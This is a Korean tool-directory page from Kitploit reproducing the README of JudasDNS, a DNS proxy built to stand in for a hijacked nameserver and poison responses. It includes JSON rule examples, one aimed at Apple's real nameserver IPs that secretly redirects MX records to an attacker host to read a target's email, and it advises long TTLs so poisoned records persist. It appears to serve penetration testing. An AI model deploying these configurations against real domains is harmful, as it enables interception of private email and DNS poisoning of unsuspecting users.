Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
JudasDNS — 네임서버 DNS 포이즈닝 공격을 쉽게 | Kitploit
도구/GitHubGitHub/mandatoryprogrammer/judasdns
ExploitationPenetration TestingDNS FuzzingRed TeamingDNS Analysis
GitHubmandatoryprogrammer/judasdns

JudasDNS

네임서버 DNS 포이즈닝 공격을 쉽게

저장소 보기
526929년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         네임서버 DNS 중독 공격을 쉽게

탈취된 네임서버를 대체하여 배포되어 표적 공격을 수행하도록 설계된 DNS 프록시 서버입니다. Judas는 도메인에 대한 합법적인 네임서버로 모든 DNS 쿼리를 프록시하여 작동합니다. 마법은 소스 IP 또는 DNS 쿼리 유형에 따라 DNS 응답을 변경할 수 있는 Judas의 규칙 구성에서 비롯됩니다. 이를 통해 공격자는 특정 소스 IP 범위에서 들어오는 인바운드 이메일을 선택적으로 재라우팅(수정된 MX 레코드 사용)하거나, 오염된 레코드를 캐시에 오래 유지하기 위해 매우 긴 TTL을 설정하는 등의 작업을 수행하는 악성 네임서버를 구성할 수 있습니다.

네임서버를 어떻게 탈취하나요?

네임서버 탈취 및 DNS 하이재킹에 대한 자세한 내용은 다음 블로그 게시물 "Respect My Authority – 손상된 네임서버를 하이재킹하여 타겟을 공격하는 방법"을 참조하세요.

예제 구성

다음은 공격자가 Apple의 권위 있는 네임서버 중 하나(apple.com용)를 손상/탈취한 예제 시나리오에 대한 Judas 구성 예시입니다:

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "Secretly redirect all emails coming from 127.0.0.1!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "Make all responses NOERROR even if they've failed.",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

위 구성 값의 목적은 다음과 같습니다:

  • version: 구성 파일 형식 버전(현재는 항상 1.0.0).
  • port: Judas가 실행될 포트.
  • dns_query_timeout: 업스트림 대상 네임서버로부터 응답을 기다리는 최대 시간(밀리초).
  • target_nameservers: 타겟 도메인의 합법적인 네임서버. 모든 DNS 쿼리는 Judas를 통해 요청 클라이언트를 대신하여 여기로 전송됩니다.
  • rules: 일치하는 경우 적용할 DNS 응답 수정 규칙 목록.
    • name: 규칙 이름.
    • query_type_matches: 일치시킬 쿼리 유형 목록(예: CNAME, A 등). 와일드카드(*)를 사용하여 모든 쿼리 유형을 일치시킬 수 있습니다.
    • ip_range_matches: 일치시킬 IP 범위 목록. 특정 IP 범위에 선택적으로 응답을 스푸핑하는 데 사용됩니다.
    • modifications: 이 README의 "수정" 섹션을 참조하세요.

수정

Judas의 규칙에는 modifications 사양이 포함되어 있으며, 클라이언트에게 응답을 보내기 전에 DNS 응답에 적용할 다양한 수정 사항의 목록으로 설정됩니다. DNS 응답 구조를 이해하고 수정하려면 node-dns 문서를 읽는 것이 중요합니다.

다음은 DNS 응답 형식의 예입니다:

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...trimmed for brevity...

(DNS 응답 데이터 구조에 대한 자세한 내용은 이 문서를 참조하십시오.)

수정 사항 작성은 매우 간단합니다. 수정 사항이 포함된 규칙의 예는 아래와 같습니다:

root@kitploit:~
{
  "name": "Make all responses NOERROR even if they've failed.",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

위 규칙은 와일드카드(*)로 인해 모든 쿼리 유형과 일치하며 DNS 응답의 header.rcode 값을 0으로 설정합니다. 수정 요소로 설정된 객체는 DNS 응답에 병합되어 원래 설정된 값을 대체합니다.

또 다른 예는 다음과 같습니다:

root@kitploit:~
{
  "name": "Secretly redirect all emails coming from 127.0.0.1!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

위 규칙은 127.0.0.1의 모든 MX 쿼리와 일치합니다. DNS 응답 답변이 hacktheplace.localhost에 대한 단일 MX 레코드로 덮어쓰여집니다. 실제 구현에서는 특정 IP에서 들어오는 인바운드 이메일을 리디렉션하여 타겟의 비공개 이메일을 읽는 데 사용될 수 있습니다. 또한 실제 시나리오에서 공격자는 악성 레코드를 클라이언트 DNS 캐시에 최대한 오래 유지하기 위해 응답 TTL을 매우 높은 값으로 수정할 수도 있습니다.

규칙 일치 유형

요청자 IP

다음 규칙은 클라이언트의 IP 주소와 일치합니다:

root@kitploit:~
{
  "name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

ip_range_matches 필드는 응답 수정을 적용할 대상 범위를 지정하는 IP 범위 배열로 설정됩니다. 이 필드를 생략하면 와일드카드와 동일하여 모든 클라이언트 IP 주소와 일치합니다.

요청 쿼리 유형

다음 규칙은 MX 및 CNAME 쿼리 유형과 일치하고 그에 따라 응답 수정을 적용합니다:

root@kitploit:~
{
  "name": "Make all responses NOERROR even if they've failed.",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

query_type_matches 필드는 일치시킬 쿼리 유형 배열로 설정됩니다. 이 필드를 생략하면 와일드카드와 동일하여 모든 쿼리 유형과 일치합니다.

응답 상태 코드

다음 규칙은 NXDOMAIN 응답 코드와 일치하며 그에 따라 응답 수정을 적용합니다:

root@kitploit:~
{
  "name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

response_code_matches 필드는 일치시킬 응답 코드 배열로 설정됩니다. 이 필드를 생략하면 와일드카드와 동일하여 모든 RCODE 유형과 일치합니다.

도구 다운로드